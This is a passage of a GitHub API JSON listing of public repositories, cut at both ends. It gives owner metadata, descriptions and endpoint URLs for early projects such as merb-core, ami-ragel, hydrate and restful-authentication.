os/lydgate/git-todo-py/milestones{/number}","notifications_url":"https://api.github.com/repos/lydgate/git-todo-py/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lydgate/git-todo-py/labels{/name}"},{"id":1129,"name":"merb-core","full_name":"piclez/merb-core","owner":{"login":"piclez","id":781,"avatar_url":"https://2.gravatar.com/avatar/c87ede80f824a59883082b697e12348d?d=https%3A%2F%2Fidenticons.github.com%2F7143d7fbadfa4693b9eec507d9d37443.png","gravatar_id":"c87ede80f824a59883082b697e12348d","url":"https://api.github.com/users/piclez","html_url":"https://github.com/piclez","followers_url":"https://api.github.com/users/piclez/followers","following_url":"https://api.github.com/users/piclez/following{/other_user}","gists_url":"https://api.github.com/users/piclez/gists{/gist_id}","starred_url":"https://api.github.com/users/piclez/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/piclez/subscriptions","organizations_url":"https://api.github.com/users/piclez/orgs","repos_url":"https://api.github.com/users/piclez/repos","events_url":"https://api.github.com/users/piclez/events{/privacy}","received_events_url":"https://api.github.com/users/piclez/received_events","type":"User"},"private":false,"html_url":"https://github.com/piclez/merb-core","description":"Merb Core: All you need. None you don't.","fork":true,"url":"https://api.github.com/repos/piclez/merb-core","forks_url":"https://api.github.com/repos/piclez/merb-core/forks","keys_url":"https://api.github.com/repos/piclez/merb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/piclez/merb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/piclez/merb-core/teams","hooks_url":"https://api.github.com/repos/piclez/merb-core/hooks","issue_events_url":"https://api.github.com/repos/piclez/merb-core/issues/events{/number}","events_url":"https://api.github.com/repos/piclez/merb-core/events","assignees_url":"https://api.github.com/repos/piclez/merb-core/assignees{/user}","branches_url":"https://api.github.com/repos/piclez/merb-core/branches{/branch}","tags_url":"https://api.github.com/repos/piclez/merb-core/tags","blobs_url":"https://api.github.com/repos/piclez/merb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/piclez/merb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/piclez/merb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/piclez/merb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/piclez/merb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/piclez/merb-core/languages","stargazers_url":"https://api.github.com/repos/piclez/merb-core/stargazers","contributors_url":"https://api.github.com/repos/piclez/merb-core/contributors","subscribers_url":"https://api.github.com/repos/piclez/merb-core/subscribers","subscription_url":"https://api.github.com/repos/piclez/merb-core/subscription","commits_url":"https://api.github.com/repos/piclez/merb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/piclez/merb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/piclez/merb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/piclez/merb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/piclez/merb-core/contents/{+path}","compare_url":"https://api.github.com/repos/piclez/merb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/piclez/merb-core/merges","archive_url":"https://api.github.com/repos/piclez/merb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/piclez/merb-core/downloads","issues_url":"https://api.github.com/repos/piclez/merb-core/issues{/number}","pulls_url":"https://api.github.com/repos/piclez/merb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/piclez/merb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/piclez/merb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/piclez/merb-core/labels{/name}"},{"id":1130,"name":"merb-more","full_name":"piclez/merb-more","owner":{"login":"piclez","id":781,"avatar_url":"https://2.gravatar.com/avatar/c87ede80f824a59883082b697e12348d?d=https%3A%2F%2Fidenticons.github.com%2F7143d7fbadfa4693b9eec507d9d37443.png","gravatar_id":"c87ede80f824a59883082b697e12348d","url":"https://api.github.com/users/piclez","html_url":"https://github.com/piclez","followers_url":"https://api.github.com/users/piclez/followers","following_url":"https://api.github.com/users/piclez/following{/other_user}","gists_url":"https://api.github.com/users/piclez/gists{/gist_id}","starred_url":"https://api.github.com/users/piclez/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/piclez/subscriptions","organizations_url":"https://api.github.com/users/piclez/orgs","repos_url":"https://api.github.com/users/piclez/repos","events_url":"https://api.github.com/users/piclez/events{/privacy}","received_events_url":"https://api.github.com/users/piclez/received_events","type":"User"},"private":false,"html_url":"https://github.com/piclez/merb-more","description":"Merb More: The Full Stack. Take what you need; leave what you don't.","fork":true,"url":"https://api.github.com/repos/piclez/merb-more","forks_url":"https://api.github.com/repos/piclez/merb-more/forks","keys_url":"https://api.github.com/repos/piclez/merb-more/keys{/key_id}","collaborators_url":"https://api.github.com/repos/piclez/merb-more/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/piclez/merb-more/teams","hooks_url":"https://api.github.com/repos/piclez/merb-more/hooks","issue_events_url":"https://api.github.com/repos/piclez/merb-more/issues/events{/number}","events_url":"https://api.github.com/repos/piclez/merb-more/events","assignees_url":"https://api.github.com/repos/piclez/merb-more/assignees{/user}","branches_url":"https://api.github.com/repos/piclez/merb-more/branches{/branch}","tags_url":"https://api.github.com/repos/piclez/merb-more/tags","blobs_url":"https://api.github.com/repos/piclez/merb-more/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/piclez/merb-more/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/piclez/merb-more/git/refs{/sha}","trees_url":"https://api.github.com/repos/piclez/merb-more/git/trees{/sha}","statuses_url":"https://api.github.com/repos/piclez/merb-more/statuses/{sha}","languages_url":"https://api.github.com/repos/piclez/merb-more/languages","stargazers_url":"https://api.github.com/repos/piclez/merb-more/stargazers","contributors_url":"https://api.github.com/repos/piclez/merb-more/contributors","subscribers_url":"https://api.github.com/repos/piclez/merb-more/subscribers","subscription_url":"https://api.github.com/repos/piclez/merb-more/subscription","commits_url":"https://api.github.com/repos/piclez/merb-more/commits{/sha}","git_commits_url":"https://api.github.com/repos/piclez/merb-more/git/commits{/sha}","comments_url":"https://api.github.com/repos/piclez/merb-more/comments{/number}","issue_comment_url":"https://api.github.com/repos/piclez/merb-more/issues/comments/{number}","contents_url":"https://api.github.com/repos/piclez/merb-more/contents/{+path}","compare_url":"https://api.github.com/repos/piclez/merb-more/compare/{base}...{head}","merges_url":"https://api.github.com/repos/piclez/merb-more/merges","archive_url":"https://api.github.com/repos/piclez/merb-more/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/piclez/merb-more/downloads","issues_url":"https://api.github.com/repos/piclez/merb-more/issues{/number}","pulls_url":"https://api.github.com/repos/piclez/merb-more/pulls{/number}","milestones_url":"https://api.github.com/repos/piclez/merb-more/milestones{/number}","notifications_url":"https://api.github.com/repos/piclez/merb-more/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/piclez/merb-more/labels{/name}"},{"id":1131,"name":"merb-plugins","full_name":"piclez/merb-plugins","owner":{"login":"piclez","id":781,"avatar_url":"https://2.gravatar.com/avatar/c87ede80f824a59883082b697e12348d?d=https%3A%2F%2Fidenticons.github.com%2F7143d7fbadfa4693b9eec507d9d37443.png","gravatar_id":"c87ede80f824a59883082b697e12348d","url":"https://api.github.com/users/piclez","html_url":"https://github.com/piclez","followers_url":"https://api.github.com/users/piclez/followers","following_url":"https://api.github.com/users/piclez/following{/other_user}","gists_url":"https://api.github.com/users/piclez/gists{/gist_id}","starred_url":"https://api.github.com/users/piclez/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/piclez/subscriptions","organizations_url":"https://api.github.com/users/piclez/orgs","repos_url":"https://api.github.com/users/piclez/repos","events_url":"https://api.github.com/users/piclez/events{/privacy}","received_events_url":"https://api.github.com/users/piclez/received_events","type":"User"},"private":false,"html_url":"https://github.com/piclez/merb-plugins","description":"Merb Plugins: Even more modules to hook up your Merb installation","fork":true,"url":"https://api.github.com/repos/piclez/merb-plugins","forks_url":"https://api.github.com/repos/piclez/merb-plugins/forks","keys_url":"https://api.github.com/repos/piclez/merb-plugins/keys{/key_id}","collaborators_url":"https://api.github.com/repos/piclez/merb-plugins/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/piclez/merb-plugins/teams","hooks_url":"https://api.github.com/repos/piclez/merb-plugins/hooks","issue_events_url":"https://api.github.com/repos/piclez/merb-plugins/issues/events{/number}","events_url":"https://api.github.com/repos/piclez/merb-plugins/events","assignees_url":"https://api.github.com/repos/piclez/merb-plugins/assignees{/user}","branches_url":"https://api.github.com/repos/piclez/merb-plugins/branches{/branch}","tags_url":"https://api.github.com/repos/piclez/merb-plugins/tags","blobs_url":"https://api.github.com/repos/piclez/merb-plugins/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/piclez/merb-plugins/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/piclez/merb-plugins/git/refs{/sha}","trees_url":"https://api.github.com/repos/piclez/merb-plugins/git/trees{/sha}","statuses_url":"https://api.github.com/repos/piclez/merb-plugins/statuses/{sha}","languages_url":"https://api.github.com/repos/piclez/merb-plugins/languages","stargazers_url":"https://api.github.com/repos/piclez/merb-plugins/stargazers","contributors_url":"https://api.github.com/repos/piclez/merb-plugins/contributors","subscribers_url":"https://api.github.com/repos/piclez/merb-plugins/subscribers","subscription_url":"https://api.github.com/repos/piclez/merb-plugins/subscription","commits_url":"https://api.github.com/repos/piclez/merb-plugins/commits{/sha}","git_commits_url":"https://api.github.com/repos/piclez/merb-plugins/git/commits{/sha}","comments_url":"https://api.github.com/repos/piclez/merb-plugins/comments{/number}","issue_comment_url":"https://api.github.com/repos/piclez/merb-plugins/issues/comments/{number}","contents_url":"https://api.github.com/repos/piclez/merb-plugins/contents/{+path}","compare_url":"https://api.github.com/repos/piclez/merb-plugins/compare/{base}...{head}","merges_url":"https://api.github.com/repos/piclez/merb-plugins/merges","archive_url":"https://api.github.com/repos/piclez/merb-plugins/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/piclez/merb-plugins/downloads","issues_url":"https://api.github.com/repos/piclez/merb-plugins/issues{/number}","pulls_url":"https://api.github.com/repos/piclez/merb-plugins/pulls{/number}","milestones_url":"https://api.github.com/repos/piclez/merb-plugins/milestones{/number}","notifications_url":"https://api.github.com/repos/piclez/merb-plugins/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/piclez/merb-plugins/labels{/name}"},{"id":1157,"name":"ami-ragel","full_name":"jicksta/ami-ragel","owner":{"login":"jicksta","id":155,"avatar_url":"https://1.gravatar.com/avatar/c48fff96ea2bf539a7939ca6d94f2443?d=https%3A%2F%2Fidenticons.github.com%2F2a79ea27c279e471f4d180b08d62b00a.png","gravatar_id":"c48fff96ea2bf539a7939ca6d94f2443","url":"https://api.github.com/users/jicksta","html_url":"https://github.com/jicksta","followers_url":"https://api.github.com/users/jicksta/followers","following_url":"https://api.github.com/users/jicksta/following{/other_user}","gists_url":"https://api.github.com/users/jicksta/gists{/gist_id}","starred_url":"https://api.github.com/users/jicksta/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jicksta/subscriptions","organizations_url":"https://api.github.com/users/jicksta/orgs","repos_url":"https://api.github.com/users/jicksta/repos","events_url":"https://api.github.com/users/jicksta/events{/privacy}","received_events_url":"https://api.github.com/users/jicksta/received_events","type":"User"},"private":false,"html_url":"https://github.com/jicksta/ami-ragel","description":"The new Asterisk Manager Interface implementation that uses Ragel and EventMachine","fork":false,"url":"https://api.github.com/repos/jicksta/ami-ragel","forks_url":"https://api.github.com/repos/jicksta/ami-ragel/forks","keys_url":"https://api.github.com/repos/jicksta/ami-ragel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jicksta/ami-ragel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jicksta/ami-ragel/teams","hooks_url":"https://api.github.com/repos/jicksta/ami-ragel/hooks","issue_events_url":"https://api.github.com/repos/jicksta/ami-ragel/issues/events{/number}","events_url":"https://api.github.com/repos/jicksta/ami-ragel/events","assignees_url":"https://api.github.com/repos/jicksta/ami-ragel/assignees{/user}","branches_url":"https://api.github.com/repos/jicksta/ami-ragel/branches{/branch}","tags_url":"https://api.github.com/repos/jicksta/ami-ragel/tags","blobs_url":"https://api.github.com/repos/jicksta/ami-ragel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jicksta/ami-ragel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jicksta/ami-ragel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jicksta/ami-ragel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jicksta/ami-ragel/statuses/{sha}","languages_url":"https://api.github.com/repos/jicksta/ami-ragel/languages","stargazers_url":"https://api.github.com/repos/jicksta/ami-ragel/stargazers","contributors_url":"https://api.github.com/repos/jicksta/ami-ragel/contributors","subscribers_url":"https://api.github.com/repos/jicksta/ami-ragel/subscribers","subscription_url":"https://api.github.com/repos/jicksta/ami-ragel/subscription","commits_url":"https://api.github.com/repos/jicksta/ami-ragel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jicksta/ami-ragel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jicksta/ami-ragel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jicksta/ami-ragel/issues/comments/{number}","contents_url":"https://api.github.com/repos/jicksta/ami-ragel/contents/{+path}","compare_url":"https://api.github.com/repos/jicksta/ami-ragel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jicksta/ami-ragel/merges","archive_url":"https://api.github.com/repos/jicksta/ami-ragel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jicksta/ami-ragel/downloads","issues_url":"https://api.github.com/repos/jicksta/ami-ragel/issues{/number}","pulls_url":"https://api.github.com/repos/jicksta/ami-ragel/pulls{/number}","milestones_url":"https://api.github.com/repos/jicksta/ami-ragel/milestones{/number}","notifications_url":"https://api.github.com/repos/jicksta/ami-ragel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jicksta/ami-ragel/labels{/name}"},{"id":1196,"name":"test","full_name":"weepy/test","owner":{"login":"weepy","id":820,"avatar_url":"https://0.gravatar.com/avatar/fccf42643feb2aaf9e6b4bfce0d737cc?d=https%3A%2F%2Fidenticons.github.com%2Fe2a2dcc36a08a345332c751b2f2e476c.png","gravatar_id":"fccf42643feb2aaf9e6b4bfce0d737cc","url":"https://api.github.com/users/weepy","html_url":"https://github.com/weepy","followers_url":"https://api.github.com/users/weepy/followers","following_url":"https://api.github.com/users/weepy/following{/other_user}","gists_url":"https://api.github.com/users/weepy/gists{/gist_id}","starred_url":"https://api.github.com/users/weepy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/weepy/subscriptions","organizations_url":"https://api.github.com/users/weepy/orgs","repos_url":"https://api.github.com/users/weepy/repos","events_url":"https://api.github.com/users/weepy/events{/privacy}","received_events_url":"https://api.github.com/users/weepy/received_events","type":"User"},"private":false,"html_url":"https://github.com/weepy/test","description":"test","fork":false,"url":"https://api.github.com/repos/weepy/test","forks_url":"https://api.github.com/repos/weepy/test/forks","keys_url":"https://api.github.com/repos/weepy/test/keys{/key_id}","collaborators_url":"https://api.github.com/repos/weepy/test/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/weepy/test/teams","hooks_url":"https://api.github.com/repos/weepy/test/hooks","issue_events_url":"https://api.github.com/repos/weepy/test/issues/events{/number}","events_url":"https://api.github.com/repos/weepy/test/events","assignees_url":"https://api.github.com/repos/weepy/test/assignees{/user}","branches_url":"https://api.github.com/repos/weepy/test/branches{/branch}","tags_url":"https://api.github.com/repos/weepy/test/tags","blobs_url":"https://api.github.com/repos/weepy/test/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/weepy/test/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/weepy/test/git/refs{/sha}","trees_url":"https://api.github.com/repos/weepy/test/git/trees{/sha}","statuses_url":"https://api.github.com/repos/weepy/test/statuses/{sha}","languages_url":"https://api.github.com/repos/weepy/test/languages","stargazers_url":"https://api.github.com/repos/weepy/test/stargazers","contributors_url":"https://api.github.com/repos/weepy/test/contributors","subscribers_url":"https://api.github.com/repos/weepy/test/subscribers","subscription_url":"https://api.github.com/repos/weepy/test/subscription","commits_url":"https://api.github.com/repos/weepy/test/commits{/sha}","git_commits_url":"https://api.github.com/repos/weepy/test/git/commits{/sha}","comments_url":"https://api.github.com/repos/weepy/test/comments{/number}","issue_comment_url":"https://api.github.com/repos/weepy/test/issues/comments/{number}","contents_url":"https://api.github.com/repos/weepy/test/contents/{+path}","compare_url":"https://api.github.com/repos/weepy/test/compare/{base}...{head}","merges_url":"https://api.github.com/repos/weepy/test/merges","archive_url":"https://api.github.com/repos/weepy/test/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/weepy/test/downloads","issues_url":"https://api.github.com/repos/weepy/test/issues{/number}","pulls_url":"https://api.github.com/repos/weepy/test/pulls{/number}","milestones_url":"https://api.github.com/repos/weepy/test/milestones{/number}","notifications_url":"https://api.github.com/repos/weepy/test/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/weepy/test/labels{/name}"},{"id":1208,"name":"hydrate","full_name":"olivM/hydrate","owner":{"login":"olivM","id":855,"avatar_url":"https://2.gravatar.com/avatar/0d4a250c55cc214768d6544ea43dc21f?d=https%3A%2F%2Fidenticons.github.com%2Faddfa9b7e234254d26e9c7f2af1005cb.png","gravatar_id":"0d4a250c55cc214768d6544ea43dc21f","url":"https://api.github.com/users/olivM","html_url":"https://github.com/olivM","followers_url":"https://api.github.com/users/olivM/followers","following_url":"https://api.github.com/users/olivM/following{/other_user}","gists_url":"https://api.github.com/users/olivM/gists{/gist_id}","starred_url":"https://api.github.com/users/olivM/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olivM/subscriptions","organizations_url":"https://api.github.com/users/olivM/orgs","repos_url":"https://api.github.com/users/olivM/repos","events_url":"https://api.github.com/users/olivM/events{/privacy}","received_events_url":"https://api.github.com/users/olivM/received_events","type":"User"},"private":false,"html_url":"https://github.com/olivM/hydrate","description":"a blog hub (a daemon that aggregate items and re-publish them on differents platforms) : an attempt for a one4all blogging system","fork":false,"url":"https://api.github.com/repos/olivM/hydrate","forks_url":"https://api.github.com/repos/olivM/hydrate/forks","keys_url":"https://api.github.com/repos/olivM/hydrate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/olivM/hydrate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/olivM/hydrate/teams","hooks_url":"https://api.github.com/repos/olivM/hydrate/hooks","issue_events_url":"https://api.github.com/repos/olivM/hydrate/issues/events{/number}","events_url":"https://api.github.com/repos/olivM/hydrate/events","assignees_url":"https://api.github.com/repos/olivM/hydrate/assignees{/user}","branches_url":"https://api.github.com/repos/olivM/hydrate/branches{/branch}","tags_url":"https://api.github.com/repos/olivM/hydrate/tags","blobs_url":"https://api.github.com/repos/olivM/hydrate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/olivM/hydrate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/olivM/hydrate/git/refs{/sha}","trees_url":"https://api.github.com/repos/olivM/hydrate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/olivM/hydrate/statuses/{sha}","languages_url":"https://api.github.com/repos/olivM/hydrate/languages","stargazers_url":"https://api.github.com/repos/olivM/hydrate/stargazers","contributors_url":"https://api.github.com/repos/olivM/hydrate/contributors","subscribers_url":"https://api.github.com/repos/olivM/hydrate/subscribers","subscription_url":"https://api.github.com/repos/olivM/hydrate/subscription","commits_url":"https://api.github.com/repos/olivM/hydrate/commits{/sha}","git_commits_url":"https://api.github.com/repos/olivM/hydrate/git/commits{/sha}","comments_url":"https://api.github.com/repos/olivM/hydrate/comments{/number}","issue_comment_url":"https://api.github.com/repos/olivM/hydrate/issues/comments/{number}","contents_url":"https://api.github.com/repos/olivM/hydrate/contents/{+path}","compare_url":"https://api.github.com/repos/olivM/hydrate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/olivM/hydrate/merges","archive_url":"https://api.github.com/repos/olivM/hydrate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/olivM/hydrate/downloads","issues_url":"https://api.github.com/repos/olivM/hydrate/issues{/number}","pulls_url":"https://api.github.com/repos/olivM/hydrate/pulls{/number}","milestones_url":"https://api.github.com/repos/olivM/hydrate/milestones{/number}","notifications_url":"https://api.github.com/repos/olivM/hydrate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/olivM/hydrate/labels{/name}"},{"id":1212,"name":"pmpknpi","full_name":"sintaxi/pmpknpi","owner":{"login":"sintaxi","id":867,"avatar_url":"https://0.gravatar.com/avatar/bcf46750ba13cf50684639eecda1aa4f?d=https%3A%2F%2Fidenticons.github.com%2Fede7e2b6d13a41ddf9f4bdef84fdc737.png","gravatar_id":"bcf46750ba13cf50684639eecda1aa4f","url":"https://api.github.com/users/sintaxi","html_url":"https://github.com/sintaxi","followers_url":"https://api.github.com/users/sintaxi/followers","following_url":"https://api.github.com/users/sintaxi/following{/other_user}","gists_url":"https://api.github.com/users/sintaxi/gists{/gist_id}","starred_url":"https://api.github.com/users/sintaxi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sintaxi/subscriptions","organizations_url":"https://api.github.com/users/sintaxi/orgs","repos_url":"https://api.github.com/users/sintaxi/repos","events_url":"https://api.github.com/users/sintaxi/events{/privacy}","received_events_url":"https://api.github.com/users/sintaxi/received_events","type":"User"},"private":false,"html_url":"https://github.com/sintaxi/pmpknpi","description":"A RESTful Blog API written in Merb","fork":false,"url":"https://api.github.com/repos/sintaxi/pmpknpi","forks_url":"https://api.github.com/repos/sintaxi/pmpknpi/forks","keys_url":"https://api.github.com/repos/sintaxi/pmpknpi/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sintaxi/pmpknpi/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sintaxi/pmpknpi/teams","hooks_url":"https://api.github.com/repos/sintaxi/pmpknpi/hooks","issue_events_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues/events{/number}","events_url":"https://api.github.com/repos/sintaxi/pmpknpi/events","assignees_url":"https://api.github.com/repos/sintaxi/pmpknpi/assignees{/user}","branches_url":"https://api.github.com/repos/sintaxi/pmpknpi/branches{/branch}","tags_url":"https://api.github.com/repos/sintaxi/pmpknpi/tags","blobs_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/refs{/sha}","trees_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sintaxi/pmpknpi/statuses/{sha}","languages_url":"https://api.github.com/repos/sintaxi/pmpknpi/languages","stargazers_url":"https://api.github.com/repos/sintaxi/pmpknpi/stargazers","contributors_url":"https://api.github.com/repos/sintaxi/pmpknpi/contributors","subscribers_url":"https://api.github.com/repos/sintaxi/pmpknpi/subscribers","subscription_url":"https://api.github.com/repos/sintaxi/pmpknpi/subscription","commits_url":"https://api.github.com/repos/sintaxi/pmpknpi/commits{/sha}","git_commits_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/commits{/sha}","comments_url":"https://api.github.com/repos/sintaxi/pmpknpi/comments{/number}","issue_comment_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues/comments/{number}","contents_url":"https://api.github.com/repos/sintaxi/pmpknpi/contents/{+path}","compare_url":"https://api.github.com/repos/sintaxi/pmpknpi/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sintaxi/pmpknpi/merges","archive_url":"https://api.github.com/repos/sintaxi/pmpknpi/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sintaxi/pmpknpi/downloads","issues_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues{/number}","pulls_url":"https://api.github.com/repos/sintaxi/pmpknpi/pulls{/number}","milestones_url":"https://api.github.com/repos/sintaxi/pmpknpi/milestones{/number}","notifications_url":"https://api.github.com/repos/sintaxi/pmpknpi/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sintaxi/pmpknpi/labels{/name}"},{"id":1213,"name":"restful-authentication","full_name":"rmanalan/restful-authentication","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/restful-authentication","description":"Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in. Added support for Oracle SSO authentication.","fork":true,"url":"https://api.github.com/repos/rmanalan/restful-authentication","forks_url":"https://api.github.com/repos/rmanalan/restful-authentication/forks","keys_url":"https://api.github.com/repos/rmanalan/restful-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/restful-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/restful-authentication/teams","hooks_url":"https://api.github.com/repos/rmanalan/restful-authentication/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/restful-authentication/events","assignees_url":"https://api.github.com/repos/rmanalan/restful-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/restful-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/restful-authentication/tags","blobs_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/restful-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/restful-authentication/languages","stargazers_url":"https://api.github.com/repos/rmanalan/restful-authentication/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/restful-authentication/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/restful-authentication/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/restful-authentication/subscription","commits_url":"https://api.github.com/repos/rmanalan/restful-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/rmanalan/restful-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/rmanalan/restful-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/rmanalan/restful-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rmanalan/restful-authentication/merges","archive_url":"https://api.github.com/repos/rmanalan/restful-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rmanalan/restful-authentication/downloads","issues_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/rmanalan/restful-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/rmanalan/restful-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/rmanalan/restful-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rmanalan/restful-authentication/labels{/name}"},{"id":1217,"name":"facebox","full_name":"rmanalan/facebox","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/facebox","description":"Facebook-style lightbox, built in 